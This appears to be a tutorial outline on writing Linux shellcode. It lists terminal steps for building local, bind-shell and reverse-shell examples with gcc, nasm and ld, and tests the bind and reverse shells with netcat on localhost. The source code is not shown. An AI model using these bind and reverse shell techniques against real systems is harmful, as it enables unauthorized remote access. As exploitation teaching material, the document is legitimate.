Local shellcode
# cat execve.c
# gcc -o execve execve.c
# ./execve
# exit
# cat execve.asm
# nasm -f elf execve.asm
# ld -o execve execve.o
# ./execve
# exit
# od2sc execve
Remote shellcode
SERVER# cat remote_execve.c
SERVER# gcc -o remote_execve remote_execve.c
SERVER# ./remote_execve
CLIENT# nc 127.0.0.1 1234
hostname
exit
CLIENT#
# cat remote_execve.asm
SERVER# nasm -f elf remote_execve.asm
SERVER# ld -o remote_execve remote_execve.o
SERVER# ./remote_execve
CLIENT# nc 127.0.0.1 1234
hostname
exit
CLIENT#
SERVER# od2sc remote_execve
Reverse shellcode
SERVER# cat reverse_execve.c
SERVER# gcc -o reverse_execve reverse_execve.c
CLIENT# nc -lv 127.0.0.1 1234
SERVER# ./reverse_execve
hostname
exit
CLIENT#
SERVER# cat reverse_execve.asm
SERVER# nasm -f elf reverse_execve.asm
SERVER# ld -o reverse_execve reverse_execve.o
CLIENT# nc -lv 127.0.0.1 1234
SERVER# ./reverse_execve
hostname
exit
CLIENT#
SERVER# od2sc reverse_execve
References
http://www.overflowedminds.net/Papers/Newlog/Introduccion-Explotacion-Software-Linux.pdf